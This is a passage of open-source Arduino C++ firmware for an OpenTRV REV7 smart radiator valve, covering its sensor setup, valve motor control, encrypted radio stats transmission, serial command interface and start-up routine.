at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0 \n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Damon Hart-Davis 2013--2017\n Deniz Erbilgin 2015--2017\n*\/\n\n\/******************************************************************************\n * NOTES\n *****************************************************************************\/\n\/*\n V0p2 (V0.2) core.\n\n DHD20130417: hardware setup on bare board.\n * 1MHz CPU clock (from 8MHz internal RC clock with \/8 prescaler) ATmega328P running at 1.8V--5V (typically 2V--3.3V).\n * Fuse set for BOD-managed additional clock settle time, ie as fast a restart from sleep as possible.\n * All unused pins unconnected and nominally floating (though driven low as output where possible).\n * 32768Hz xtal between pins XTAL1 and XTAL2, async timer 2, for accurate timekeeping and low-power sleep.\n * All unused system modules turned off.\n\n Basic AVR power consumption ticking an (empty) control loop at ~0.5Hz should be ~1uA.\n *\/\n\n\n\/******************************************************************************\n * INCLUDES\n *****************************************************************************\/\n\/\/\/\/\/\/ GLOBAL flags that alter system build and behaviour.\n\n\/\/ If defined, do extra checks and serial logging. Will take more code space and power.\n#undef DEBUG\n\n\/\/ *** Global flag for REVx configuration here *** \/\/\n#define V0p2_REV 7\n\n\/\/ --------------------------------------------\n\/\/ I\/O pin allocation and setup: include ahead of I\/O module headers.\n#include <OTV0p2_Board_IO_Config.h>\n\n\n\/\/\/\/\/\/ MAIN LIBRARIES\n\n#include <Arduino.h>\n#include <OTV0p2Base.h>\n#include <OTRadioLink.h>\n\n\n\/\/\/\/\/\/ ADDITIONAL LIBRARIES\/PERIPHERALS\n\n#include <OTRadValve.h>\n#include <OTRFM23BLink.h>\n#include <OTAESGCM.h>\n\n\n\/\/\/\/\/\/ ADDITIONAL USER HEADERS\n\n\n\/******************************************************************************\n * GENERAL CONSTANTS AND VARIABLES\n * Core constants and variables required for V0p2 loop.\n *****************************************************************************\/\n\/\/ Controller's notion\/cache of seconds within major cycle.\nstatic uint_fast8_t TIME_LSD;\n\n\/\/ 'Elapsed minutes' count of minute\/major cycles; cheaper than accessing RTC and not tied to real time.\n\/\/ Starts at or just above zero (within the first 4-minute cycle) to help avoid collisions between units after mass power-up.\n\/\/ Wraps at its maximum (0xff) value.\nstatic uint8_t minuteCount;\n\n\/\/ Controller's view of Least Significant Digits of the current (local) time, in this case whole seconds.\n\/\/ TIME_LSD ranges from 0 to TIME_CYCLE_S-1, also major cycle length.\nconstexpr uint_fast8_t TIME_CYCLE_S = 60;\n\n\/\/ Period in minutes for simple learned on-time; strictly positive (and less than 256).\nstatic constexpr uint8_t LEARNED_ON_PERIOD_M = 60;\n\/\/ Period in minutes for simple learned on-time with comfort bias; strictly positive (and less than 256).\n\/\/ Defaults to twice LEARNED_ON_PERIOD_M.\n\/\/ Should be no shorter\/less than LEARNED_ON_PERIOD_M to avoid confusion.\nstatic constexpr uint8_t LEARNED_ON_PERIOD_COMFORT_M = (OTV0P2BASE::fnmin(2*(LEARNED_ON_PERIOD_M),255));\n\n\/\/ Send the underlying stats binary\/text 'whitened' message.\n\/\/ This must be terminated with an 0xff (which is not sent),\n\/\/ and no longer than STATS_MSG_MAX_LEN bytes long in total (excluding the terminating 0xff).\n\/\/ This must not contain any 0xff and should not contain long runs of 0x00 bytes.\n\/\/ The message to be sent must be written at an offset of STATS_MSG_START_OFFSET from the start of the buffer.\n\/\/ This routine will alter the content of the buffer for transmission,\n\/\/ and the buffer should not be re-used as is.\n\/\/ * doubleTX double TX to increase chance of successful reception\n\/\/ * RFM23BfriendlyPremable if true then add an extra preamble\n\/\/ to allow RFM23B-based receiver to RX this\n\/\/ This will use whichever transmission medium\/carrier\/etc is available.\nstatic constexpr uint8_t RFM22_PREAMBLE_BYTES = 5; \/\/ Recommended number of preamble bytes for reliable reception.\nstatic constexpr uint8_t RFM22_SYNC_MIN_BYTES = 3; \/\/ Minimum number of sync bytes.\nstatic constexpr uint8_t STATS_MSG_START_OFFSET = (RFM22_PREAMBLE_BYTES + RFM22_SYNC_MIN_BYTES);\nstatic constexpr uint8_t STATS_MSG_MAX_LEN = (64 - STATS_MSG_START_OFFSET);\n\n\/\/ Mask for Port D input change interrupts.\nconstexpr uint8_t SERIALRX_INT_MASK = 0b00000001; \/\/ Serial RX\n#if BUTTON_MODE_L > 7\n #error BUTTON_MODE_L expected to be on port D\n#endif\nconstexpr uint8_t MODE_INT_MASK = (1 << (BUTTON_MODE_L&7));\nconstexpr uint8_t MASK_PD = (SERIALRX_INT_MASK | MODE_INT_MASK); \/\/ MODE button interrupt (et al).\n\n\/\/ Counter containing current no. of resets.\nstatic uint8_t resetCount;\n\n\/\/\/\/\/\/ SCRATCHSPACE\n\n\/\/ Create scratch space for secure stats TX\n\/\/ Buffer need be no larger than leading length byte + typical 64-byte radio module TX buffer limit + optional terminator.\nconstexpr uint8_t MSG_BUF_SIZE = 1 + 64 + 1;\nconstexpr uint8_t bufEncJSONlen = OTRadioLink::ENC_BODY_SMALL_FIXED_PTEXT_MAX_SIZE + 1;\nconstexpr uint8_t ptextBuflen = bufEncJSONlen + 2;\nstatic_assert(ptextBuflen == 34, \"ptextBuflen wrong\");\nconstexpr uint8_t scratchSpaceNeeded = MSG_BUF_SIZE + ptextBuflen;\nconstexpr size_t StatsTX_WorkspaceSize = OTRadioLink::SimpleSecureFrame32or0BodyTXBase::generateSecureOFrameRawForTX_total_scratch_usage_OTAESGCM_2p0 + scratchSpaceNeeded;\nstatic_assert(StatsTX_WorkspaceSize == 384, \"StatsTX workspace size wrong!\"); \/\/ Correct as of 20170704\n\n\/\/ Create a scratchspace for CLI\n\/\/ Suggested minimum buffer size for pollUI() to ensure maximum-sized commands can be received.\nstatic constexpr uint8_t MAXIMUM_CLI_RESPONSE_CHARS = 1 + OTV0P2BASE::CLI::MAX_TYPICAL_CLI_BUFFER;\nstatic constexpr uint8_t PollUI_WorkspaceSize = 1 + MAXIMUM_CLI_RESPONSE_CHARS;\n\n\/\/ Create workspace\nunion GlobalWorkSpace {\n uint8_t statsTX[StatsTX_WorkspaceSize];\n uint8_t cli[PollUI_WorkspaceSize];\n};\nstatic GlobalWorkSpace globalWorkSpace;\n\n\n\/******************************************************************************\n * PERIPHERALS\n * Peripheral drivers and config\n *****************************************************************************\/\n\n\/\/\/\/\/\/ FORWARD DECLARATIONS\n\n\/\/ Valve physical UI controller.\ntypedef OTRadValve::ModeButtonAndPotActuatorPhysicalUI valveUI_t;\nextern valveUI_t valveUI; \/\/ Extern as otherwise compiler attempts to instantiate.\n\n\n\/\/\/\/\/\/ RADIOS\n\n\/\/ Config\n\/\/ Nodes talking on fast GFSK channel 0.\nstatic constexpr uint8_t nPrimaryRadioChannels = 1;\nstatic const OTRadioLink::OTRadioChannelConfig RFM23BConfigs[nPrimaryRadioChannels] = {\n \/\/ GFSK channel 0 full config, RX\/TX, not in itself secure.\n OTRadioLink::OTRadioChannelConfig(OTRFM23BLink::StandardRegSettingsGFSK57600, true), };\n\n\/\/ Brings in necessary radio libs.\nstatic constexpr uint8_t RFM23B_RX_QUEUE_SIZE = OTV0P2BASE::fnmax(uint8_t(2), uint8_t(OTRFM23BLink::DEFAULT_RFM23B_RX_QUEUE_CAPACITY)) - 1;\nstatic constexpr int8_t RFM23B_IRQ_PIN = PIN_RFM_NIRQ;\nstatic constexpr bool RFM23B_allowRX = false;\nOTRFM23BLink::OTRFM23BLink<OTV0P2BASE::V0p2_PIN_SPI_nSS, RFM23B_IRQ_PIN, RFM23B_RX_QUEUE_SIZE, RFM23B_allowRX> PrimaryRadio;\n\n\/\/\/\/\/\/ SENSORS\n\n\/\/ Sensor for supply (eg battery) voltage in millivolts.\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\n\n\/\/ Support for general timed and multi-input occupancy detection \/ use.\ntypedef OTV0P2BASE::PseudoSensorOccupancyTracker OccupancyTracker;\n\/\/ Singleton implementation for entire node.\nOccupancyTracker Occupancy;\n\n\/\/ Sensor for temperature potentiometer\/dial UI control.\ntypedef OTV0P2BASE::SensorTemperaturePot\n <\n decltype(Occupancy), &Occupancy,\n 48, 296, \/\/ Correct for DORM1\/TRV1 with embedded REV7.\n false \/\/ REV7 does not drive pot from IO_POWER_UP.\n > TempPot_t;\nTempPot_t TempPot;\n\n\/\/ Sensor for ambient light level; 0 is dark, 255 is bright.\ntypedef OTV0P2BASE::SensorAmbientLight AmbientLight;\nAmbientLight AmbLight;\n\n\/\/ Singleton implementation\/instance.\ntypedef OTV0P2BASE::HumiditySensorSHT21 RelHumidity_t;\n\/\/ Singleton implementation\/instance.\nOTV0P2BASE::HumiditySensorSHT21 RelHumidity;\n\n\/\/ Ambient\/room temperature sensor, usually on main board.\nOTV0P2BASE::RoomTemperatureC16_SHT21 TemperatureC16; \/\/ SHT21 impl.\n\n\n\/\/\/\/\/\/ ACTUATORS\n\n\/\/ DORM1\/REV7 direct drive motor actuator.\nstatic constexpr bool binaryOnlyValveControl = false;\nstatic constexpr uint8_t m1 = MOTOR_DRIVE_ML;\nstatic constexpr uint8_t m2 = MOTOR_DRIVE_MR;\ntypedef OTRadValve::ValveMotorDirectV1<OTRadValve::ValveMotorDirectV1HardwareDriver, m1, m2, MOTOR_DRIVE_MI_AIN, MOTOR_DRIVE_MC_AIN, OTRadValve::MOTOR_DRIVE_NSLEEP_UNUSED, decltype(Supply_cV), &Supply_cV> ValveDirect_t;\n\/\/ DORM1\/REV7 direct drive actuator.\n\/\/ Singleton implementation\/instance.\n\/\/ Suppress unnecessary activity when room dark, eg to avoid disturbance if device crashes\/restarts,\n\/\/ unless recent UI use because value is being fitted\/adjusted.\nValveDirect_t ValveDirect([](){return((!valveUI.veryRecentUIControlUse()) && AmbLight.isRoomDark());});\n\n\n\/\/\/\/\/\/ CONTROL\n\n\/\/ Singleton non-volatile stats store instance.\nOTV0P2BASE::EEPROMByHourByteStats eeStats;\n\n\/\/ Singleton stats-updater object.\ntypedef\n OTV0P2BASE::ByHourSimpleStatsUpdaterSampleStats <\n decltype(eeStats), &eeStats,\n decltype(Occupancy), &Occupancy,\n decltype(AmbLight), &AmbLight,\n decltype(TemperatureC16), &TemperatureC16,\n decltype(RelHumidity), &RelHumidity,\n 2\n > StatsU_t;\n\/\/ Stats updater singleton.\nStatsU_t statsU;\n\n\/\/ Singleton scheduler instance.\n\/\/ Dummy scheduler to simplify coding.\ntypedef OTRadValve::NULLValveSchedule Scheduler_t;\nScheduler_t Scheduler;\n\n\/\/ Radiator valve mode (FROST, WARM, BAKE).\nOTRadValve::ValveMode valveMode;\n\n\/\/ Settings for room TRV.\ntypedef OTRadValve::DEFAULT_ValveControlParameters PARAMS;\n\/\/ Choose which subtype to use depending on enabled settings and board type.\ntypedef OTRadValve::TempControlTempPot<decltype(TempPot), &TempPot, PARAMS, decltype(RelHumidity), &RelHumidity> TempControl_t;\n\/\/ Temperature control object.\nTempControl_t tempControl;\n\nstatic OTV0P2BASE::EEPROMByHourByteStats ebhs;\n\n\/\/ Create setback lockout if needed.\ntypedef bool(*setbackLockout_t)();\n\/\/ If allowing setback lockout, eg for testing, then inject suitable lambda.\nstatic bool setbackLockout() { return(0 != OTRadValve::getSetbackLockout()); }\n\n\/\/ Algorithm for computing target temperature.\nconstexpr OTRadValve::ModelledRadValveComputeTargetTempBasic<\n PARAMS,\n &valveMode,\n decltype(TemperatureC16), &TemperatureC16,\n decltype(tempControl), &tempControl,\n decltype(Occupancy), &Occupancy,\n decltype(AmbLight), &AmbLight,\n decltype(valveUI), &valveUI,\n decltype(Scheduler), &Scheduler,\n decltype(ebhs), &ebhs,\n decltype(RelHumidity), &RelHumidity,\n setbackLockout>\n cttBasic;\n\n\/\/ Internal model of controlled radiator valve position.\nOTRadValve::ModelledRadValve NominalRadValve(\n &cttBasic,\n &valveMode,\n &tempControl,\n &ValveDirect,\n false,\n 100);\n\n\/\/ Valve physical UI controller.\nvalveUI_t valveUI(\n &valveMode,\n &tempControl,\n &NominalRadValve,\n &Occupancy,\n &AmbLight,\n &TempPot,\n &Supply_cV,\n OTV0P2BASE::LED_HEATCALL_ON,\n OTV0P2BASE::LED_HEATCALL_OFF,\n OTV0P2BASE::LED_HEATCALL_ON_ISR_SAFE);\n\n\/\/\/\/\/\/ MESSAGING\n\n\/\/ Managed JSON stats.\nOTV0P2BASE::SimpleStatsRotation<13> ss1; \/\/ Configured for maximum different stats.\n\n\n\/******************************************************************************\n * INTERRUPT SERVICE ROUTINES\n *****************************************************************************\/\n\n\/\/ Previous state of port D pins to help detect changes.\nstatic volatile uint8_t prevStatePD;\n\/\/ Interrupt service routine for PD I\/O port transition changes (including RX).\nISR(PCINT2_vect)\n{\n const uint8_t pins = PIND;\n const uint8_t changes = pins ^ prevStatePD;\n prevStatePD = pins;\n \/\/ Mode button detection is on the falling edge (button pressed).\n if((changes & MODE_INT_MASK) && !(pins & MODE_INT_MASK)) { valveUI.startBakeFromInt(); }\n \/\/ If an interrupt arrived from the serial RX then wake up the CLI.\n \/\/ Use a nominally rising edge to avoid spurious trigger when other interrupts are handled.\n \/\/ The will ensure that it is possible to wake the CLI subsystem with an extra CR or LF.\n \/\/ It is OK to trigger this from other things such as button presses.\n \/\/ TODO: ensure that resetCLIActiveTimer() is inlineable to minimise ISR prologue\/epilogue time and space.\n if((changes & SERIALRX_INT_MASK) && !(pins & SERIALRX_INT_MASK)) { OTV0P2BASE::CLI::resetCLIActiveTimer(); }\n}\n\n\n\/******************************************************************************\n * LOCAL FUNCTIONS\n *****************************************************************************\/\n\n\/\/\/\/\/\/ PANIC\n\n\/\/ Indicate that the system is broken in an obvious way (distress flashing the main LED).\n\/\/ DOES NOT RETURN.\n\/\/ Tries to turn off most stuff safely that will benefit from doing so, but nothing too complex.\n\/\/ Tries not to use lots of energy so as to keep distress beacon running for a while.\nvoid panic() {\n \/\/ Reset radio and go into low-power mode.\n PrimaryRadio.panicShutdown();\n \/\/ Power down almost everything else...\n OTV0P2BASE::minimisePowerWithoutSleep();\n pinMode(OTV0P2BASE::LED_HEATCALL_L, OUTPUT);\n for( ; ; ) {\n OTV0P2BASE::LED_HEATCALL_ON();\n OTV0P2BASE::nap(WDTO_15MS);\n OTV0P2BASE::LED_HEATCALL_OFF();\n OTV0P2BASE::nap(WDTO_120MS);\n }\n}\n\n\/\/ Panic with fixed message.\nvoid panic(const __FlashStringHelper *s) {\n OTV0P2BASE::serialPrintlnAndFlush(); \/\/ Start new line to highlight error. \/\/ May fail.\n OTV0P2BASE::serialPrintAndFlush('!'); \/\/ Indicate error with leading '!' \/\/ May fail.\n OTV0P2BASE::serialPrintlnAndFlush(s); \/\/ Print supplied detail text. \/\/ May fail.\n panic();\n}\n\n\/\/\/\/\/\/ SENSORS\n\n\/\/ Update sensors with historic\/trailing statistics information where needed.\n\/\/ Should be called at least hourly after all stats have been updated,\n\/\/ but can also be called whenever the user adjusts settings for example.\nvoid updateSensorsFromStats() {\n \/\/ Update with rolling stats to adapt to sensors and local environment...\n \/\/ ...and prevailing bias, so may take a while to adjust.\n AmbLight.setTypMinMax(\n eeStats.getByHourStatRTC(OTV0P2BASE::NVByHourByteStatsBase::STATS_SET_AMBLIGHT_BY_HOUR_SMOOTHED),\n eeStats.getMinByHourStat(OTV0P2BASE::NVByHourByteStatsBase::STATS_SET_AMBLIGHT_BY_HOUR_SMOOTHED),\n eeStats.getMaxByHourStat(OTV0P2BASE::NVByHourByteStatsBase::STATS_SET_AMBLIGHT_BY_HOUR_SMOOTHED),\n !tempControl.hasEcoBias());\n}\n\n\n\/\/\/\/\/\/ CONTROL\n\n\/\/ Call this to do an I\/O poll if needed; returns true if something useful definitely happened.\n\/\/ This call should typically take << 1ms at 1MHz CPU.\n\/\/ Does not change CPU clock speeds, mess with interrupts (other than possible brief blocking), or sleep.\n\/\/ Should also do nothing that interacts with Serial.\n\/\/ Limits actual poll rate to something like once every 8ms, unless force is true.\n\/\/ * force if true then force full poll on every call (ie do not internally rate-limit)\n\/\/ Note that radio poll() can be for TX as well as RX activity.\n\/\/ Not thread-safe, eg not to be called from within an ISR.\nbool pollIO(const bool force = false) {\n static volatile uint8_t _pO_lastPoll;\n \/\/ Poll RX at most about every ~8ms.\n const uint8_t sct = OTV0P2BASE::getSubCycleTime();\n if(force || (sct != _pO_lastPoll)) {\n _pO_lastPoll = sct;\n \/\/ Poll for inbound frames.\n \/\/ If RX is not interrupt-driven then\n \/\/ there will usually be little time to do this\n \/\/ before getting an RX overrun or dropped frame.\n PrimaryRadio.poll();\n }\n return(false);\n}\n\n\/\/ Run tasks needed at the end of each day (nominal midnight).\n\/\/ Should be run once at a fixed slot in the last minute of the last hour of each day.\n\/\/ Will be run after all stats for the current hour have been updated.\nstatic void endOfDayTasks() {\n \/\/ Count down the setback lockout if not finished... (TODO-786, TODO-906)\n OTRadValve::countDownSetbackLockout();\n}\n\n\n\/\/\/\/\/\/ MESSAGING\n\n\/\/ Do bare stats transmission.\n\/\/ Output should be filtered for items appropriate\n\/\/ to current channel security and sensitivity level.\n\/\/ This may be binary or JSON format.\n\/\/ * allowDoubleTX allow double TX to increase chance of successful reception\n\/\/ Sends stats on primary radio channel 0 with possible duplicate to secondary channel.\n\/\/ If sending encrypted then ID\/counter fields (eg @ and + for JSON) are omitted\n\/\/ as assumed supplied by security layer to remote recipent.\nvoid bareStatsTX() {\n\n \/\/ Capture heavy stack usage from local allocations here.\n OTV0P2BASE::MemoryChecks::recordIfMinSP();\n const bool neededWaking = OTV0P2BASE::powerUpSerialIfDisabled<>();\n static_assert(OTV0P2BASE::FullStatsMessageCore_MAX_BYTES_ON_WIRE <= STATS_MSG_MAX_LEN, \"FullStatsMessageCore_MAX_BYTES_ON_WIRE too big\");\n static_assert(OTV0P2BASE::MSG_JSON_MAX_LENGTH+1 <= STATS_MSG_MAX_LEN, \"MSG_JSON_MAX_LENGTH too big\"); \/\/ Allow 1 for trailing CRC.\n OTV0P2BASE::ScratchSpaceL sW(globalWorkSpace.statsTX, sizeof(globalWorkSpace.statsTX));\n\n bool sendingJSONFailed = false; \/\/ Set true and stop attempting JSON send in case of error.\n\n uint8_t *const buf = sW.buf;\n \/\/ Where to write the real frame content, leaving space for leading\n \/\/ frame-length byte for encrypted frame.\n uint8_t *const realTXFrameStart = buf + 1;\n \/\/ If forcing encryption or if unconditionally suppressed\n \/\/ then suppress the \"@\" ID field entirely,\n \/\/ assuming that the encrypted commands will carry the ID, ie in the 'envelope'.\n ss1.setID(V0p2_SENSOR_TAG_F(\"\"));\n \/\/ Managed JSON stats.\n \/\/ Enable \"+\" count field for diagnostic purposes, eg while TX is lossy,\n \/\/ if the primary radio channel does not include a sequence number itself.\n \/\/ Assume that an encrypted channel will provide its own (visible) sequence counter.\n ss1.enableCount(false); \/\/ Always encrypted\n ss1.put(TemperatureC16);\n ss1.put(RelHumidity);\n ss1.put(Occupancy.twoBitTag(), Occupancy.twoBitOccupancyValue()); \/\/ Reduce spurious TX cf percentage.\n ss1.put(Occupancy.vacHSubSensor);\n \/\/ OPTIONAL items\n \/\/ Only TX supply voltage for units apparently not mains powered, and TX with low priority as slow changing.\n ss1.put(Supply_cV, true);\n ss1.put(AmbLight); \/\/ Always send ambient light level (assuming sensor is present).\n \/\/ Show TRV-related stats since enabled.\n ss1.put(NominalRadValve); \/\/ Show modelled value to be able to deduce call-for-heat.\n ss1.put(NominalRadValve.targetTemperatureSubSensor);\n ss1.put(NominalRadValve.setbackSubSensor);\n ss1.put(NominalRadValve.cumulativeMovementSubSensor);\n \/\/ Show state of setback lockout.\n ss1.put(V0p2_SENSOR_TAG_F(\"gE\"), OTRadValve::getSetbackLockout(), true);\n\n \/\/ Show reset counter. Low priority.\n ss1.put(V0p2_SENSOR_TAG_F(\"R\"), resetCount, true);\n \/\/ Send minimum stack left, saturating at 255 bytes.\n const size_t curMinSP = OTV0P2BASE::MemoryChecks::getMinSP();\n const uint8_t txMinSP = (255U >= curMinSP) ? (uint8_t) curMinSP : 255U;\n ss1.put(V0p2_SENSOR_TAG_F(\"SP\"), txMinSP, true);\n\n\n const uint8_t privacyLevel = OTV0P2BASE::stTXalwaysAll;\n \/\/ Redirect JSON output appropriately.\n \/\/ Part of sW, directly after the message buffer.\n \/\/ | 0 | 1 | 2 | 3:n | n+1 | n+2 | n is the end of the stats message. n+2 <= 34\n \/\/ | valvePC | hasStats | { | json | '}' | 0x0 |\n \/\/ ptextBuf is the entire frame\n uint8_t * const ptextBuf = sW.buf + MSG_BUF_SIZE;\n \/\/ Redirect JSON output appropriately.\n uint8_t *const bufJSON = ptextBuf + 2;\n const uint8_t bufJSONlen = bufEncJSONlen;\n \/\/ Number of bytes written for body.\n \/\/ For non-secure, this is the size of the JSON text.\n \/\/ For secure this is overridden with the secure frame size.\n int8_t wrote = 0;\n \/\/ Generate JSON text.\n if(!sendingJSONFailed) {\n \/\/ Generate JSON and write to appropriate buffer:\n \/\/ direct to TX buffer if not encrypting, else to separate buffer.\n wrote = ss1.writeJSON(bufJSON, bufJSONlen, privacyLevel, true); \/\/ make best use of JSON stats;\n if(0 == wrote) { sendingJSONFailed = true; }\n }\n \/\/ Push the JSON output to Serial.\n if(!sendingJSONFailed) {\n \/\/ Insert synthetic full ID\/@ field for local stats, but no sequence number for now.\n Serial.print(F(\"{\\\"@\\\":\\\"\"));\n for(int i = 0; i < OTV0P2BASE::OpenTRV_Node_ID_Bytes; ++i) { Serial.print(eeprom_read_byte((uint8_t *)V0P2BASE_EE_START_ID+i), HEX); }\n Serial.print(F(\"\\\",\"));\n Serial.write(bufJSON+1, wrote-1);\n Serial.println();\n OTV0P2BASE::flushSerialSCTSensitive(); \/\/ Ensure all flushed since system clock may be messed with...\n }\n \/\/ Get the 'building' key for stats sending.\n uint8_t key[16];\n if(!sendingJSONFailed) {\n if(!OTV0P2BASE::getPrimaryBuilding16ByteSecretKey(key)) {\n sendingJSONFailed = true;\n OTV0P2BASE::serialPrintlnAndFlush(F(\"!TX key\")); \/\/ Know why TX failed.\n }\n }\n \/\/ If doing encryption\n \/\/ then build encrypted frame from raw JSON.\n if(!sendingJSONFailed) {\n \/\/ Explicit-workspace version of encryption.\n const OTRadioLink::SimpleSecureFrame32or0BodyTXBase::fixed32BTextSize12BNonce16BTagSimpleEncWithLWorkspace_ptr_t eW = OTAESGCM::fixed32BTextSize12BNonce16BTagSimpleEnc_DEFAULT_WITH_LWORKSPACE;\n \/\/ Create subscratch space for encryption functions\n OTV0P2BASE::ScratchSpaceL subScratch(sW, scratchSpaceNeeded);\n constexpr uint8_t txIDLen = OTRadioLink::ENC_BODY_DEFAULT_ID_BYTES;\n \/\/ When sending on a channel with framing, do not explicitly send the frame length byte.\n constexpr uint8_t offset = 1;\n \/\/ Assumed to be at least one free writeable byte ahead of bptr.\n \/\/ Get current modelled valve position.\n const uint8_t valvePC = NominalRadValve.get();\n const uint8_t bodylen = OTRadioLink::SimpleSecureFrame32or0BodyTXV0p2::getInstance().generateSecureOFrameRawForTX(\n (realTXFrameStart - offset), (MSG_BUF_SIZE - (realTXFrameStart-buf) + offset),\n txIDLen, valvePC, ptextBuf, eW, subScratch, key);\n sendingJSONFailed = (0 == bodylen);\n wrote = bodylen - offset;\n }\n \/\/ Send directly to the primary radio...\n if((!sendingJSONFailed) && (!PrimaryRadio.queueToSend(realTXFrameStart, wrote))) { sendingJSONFailed = true; }\n if(neededWaking) { OTV0P2BASE::flushSerialProductive(); OTV0P2BASE::powerDownSerial(); }\n}\n\n\n\/\/\/\/\/\/ UI\n\n\/\/ Dump some brief CLI usage instructions to serial TX, which must be up and running.\n\/\/ If this gets too big there is a risk of overrunning and missing the next tick...\nstatic void dumpCLIUsage()\n{\n OTV0P2BASE::CLI::InvalidIgnored(); \/\/ Minimal placeholder.\n Serial.println();\n}\n\n\/\/ Used to poll user side for CLI input until specified sub-cycle time.\n\/\/ Commands should be sent terminated by CR *or* LF; both may prevent 'E' (exit) from working properly.\n\/\/ A period of less than (say) 500ms will be difficult for direct human response on a raw terminal.\n\/\/ A period of less than (say) 100ms is not recommended to avoid possibility of overrun on long interactions.\n\/\/ Times itself out after at least a minute or two of inactivity.\n\/\/ NOT RENTRANT (eg uses static state for speed and code space).\n\nvoid pollCLI(const uint8_t maxSCT, const bool startOfMinute, const OTV0P2BASE::ScratchSpace &s)\n{\n \/\/ Perform any once-per-minute operations.\n if(startOfMinute) { OTV0P2BASE::CLI::countDownCLI(); }\n const bool neededWaking = OTV0P2BASE::powerUpSerialIfDisabled<V0P2_UART_BAUD>();\n \/\/ Wait for input command line from the user (received characters may already have been queued)...\n \/\/ Read a line up to a terminating CR, either on its own or as part of CRLF.\n \/\/ (Note that command content and timing may be useful to fold into PRNG entropy pool.)\n \/\/ A static buffer generates better code but permanently consumes previous SRAM.\n const uint8_t n = OTV0P2BASE::CLI::promptAndReadCommandLine(maxSCT, s, [](){pollIO();});\n char *buf = (char *)s.buf;\n if(n > 0) {\n \/\/ Got plausible input so keep the CLI awake a little longer.\n OTV0P2BASE::CLI::resetCLIActiveTimer();\n \/\/ Process the input received, with action based on the first char...\n switch(buf[0]) {\n \/\/ Explicit request for help, or unrecognised first character.\n \/\/ Avoid showing status as may already be rather a lot of output.\n default: case '?': { dumpCLIUsage(); break; }\n \/\/ Exit\/deactivate CLI immediately.\n \/\/ This should be followed by JUST CR ('\\r') OR LF ('\\n')\n \/\/ else the second will wake the CLI up again.\n case 'E': { OTV0P2BASE::CLI::makeCLIInactive(); break; }\n \/\/ Show\/set generic parameter values (eg \"G N [M]\").\n case 'G': { OTV0P2BASE::CLI::GenericParam().doCommand(buf, n); break; }\n \/\/ Reset or display ID.\n case 'I': { OTV0P2BASE::CLI::NodeIDWithSet().doCommand(buf, n); break; }\n \/\/ Status line stats print and TX.\n\/\/ case 'S': {\n\/\/ Serial.print(F(\"Resets: \"));\n\/\/ const uint8_t resetCount = eeprom_read_byte((uint8_t *)V0P2BASE_EE_START_RESET_COUNT);\n\/\/ Serial.print(resetCount);\n\/\/ Serial.println();\n\/\/ \/\/ Show stack headroom.\n\/\/ OTV0P2BASE::serialPrintAndFlush(F(\"SH \")); OTV0P2BASE::serialPrintAndFlush(OTV0P2BASE::MemoryChecks::getMinSPSpaceBelowStackToEnd()); OTV0P2BASE::serialPrintlnAndFlush();\n\/\/ \/\/ Default light-weight print and TX of stats.\n\/\/\/\/ bareStatsTX(); \/\/ FIXME No way this won't overflow!\n\/\/ break; \/\/ Note that status is by default printed after processing input line.\n\/\/ }\n \/\/ Switch to FROST mode OR set FROST\/setback temperature (even with temp pot available).\n \/\/ With F! force to frost and holiday (long-vacant) mode. Useful for testing and for remote CLI use.\n case 'F': {\n valveMode.setWarmModeDebounced(false); \/\/ No parameter supplied; switch to FROST mode.\n break;\n }\n \/**\n * Set secret key.\n * @note The OTRadioLink::SimpleSecureFrame32or0BodyTXV0p2::resetRaw3BytePersistentTXRestartCounterCond\n * function pointer MUST be passed here to ensure safe handling of the key and the Tx message\n * counter.\n *\/\n case 'K': { OTV0P2BASE::CLI::SetSecretKey(OTRadioLink::SimpleSecureFrame32or0BodyTXV0p2::resetRaw3BytePersistentTXRestartCounterCond).doCommand(buf, n); break; }\n \/\/ Switch to WARM (not BAKE) mode OR set WARM temperature.\n case 'W':{\n valveMode.cancelBakeDebounced(); \/\/ Ensure BAKE mode not entered.\n valveMode.setWarmModeDebounced(true); \/\/ No parameter supplied; switch to WARM mode.\n break;\n }\n \/\/ Zap\/erase learned statistics.\n case 'Z': { OTV0P2BASE::CLI::ZapStats().doCommand(buf, n); break; }\n }\n \/\/ Else show ack of command received.\n Serial.println(F(\"OK\"));\n } else { Serial.println(); } \/\/ Terminate empty\/partial CLI input line after timeout.\n \/\/ Force any pending output before return \/ possible UART power-down.\n OTV0P2BASE::flushSerialSCTSensitive();\n if(neededWaking) { OTV0P2BASE::powerDownSerial(); }\n}\n\n\n\/******************************************************************************\n * SETUP\n *****************************************************************************\/\n\n\/\/ Setup routine: runs once after reset.\n\/\/ Does some limited board self-test and will panic() if anything is obviously broken.\nvoid setup()\n{\n \/\/ Set appropriate low-power states, interrupts, etc, ASAP.\n OTV0P2BASE::powerSetup();\n \/\/ IO setup for safety, and to avoid pins floating.\n OTV0P2BASE::IOSetup();\n \/\/ Restore previous RTC state if available.\n OTV0P2BASE::restoreRTC();\n OTV0P2BASE::serialPrintAndFlush(F(\"\\r\\nOpenTRV: \")); \/\/ Leading CRLF to clear leading junk, eg from bootloader.\n V0p2Base_serialPrintlnBuildVersion();\n \/\/ Count resets to detect unexpected crashes\/restarts.\n const uint8_t oldResetCount = eeprom_read_byte((uint8_t *)V0P2BASE_EE_START_RESET_COUNT);\n resetCount = oldResetCount + 1;\n eeprom_write_byte((uint8_t *)V0P2BASE_EE_START_RESET_COUNT, 1 + oldResetCount);\n#if 0 \/\/ Print reset count. Intended for testing purposes.\n OTV0P2BASE::serialPrintAndFlush(F(\"\\rResets: \"));\n OTV0P2BASE::serialPrintAndFlush(oldResetCount);\n OTV0P2BASE::serialPrintlnAndFlush();\n#endif\n\n \/\/ Have 32678Hz clock at least running before going any further.\n \/\/ Check that the slow clock is running reasonably OK, and tune the fast one to it.\n if(!::OTV0P2BASE::HWTEST::calibrateInternalOscWithExtOsc()) { panic(F(\"Xtal\")); } \/\/ Async clock not running or can't tune.\n\n \/\/ Signal that xtal is running AND give it time to settle.\n OTV0P2BASE::sleepLowPowerMs(1000);\n OTV0P2BASE::LED_HEATCALL_OFF();\n OTV0P2BASE::sleepLowPowerMs(250); \/\/ TODO: use this time to gather entropy.\n 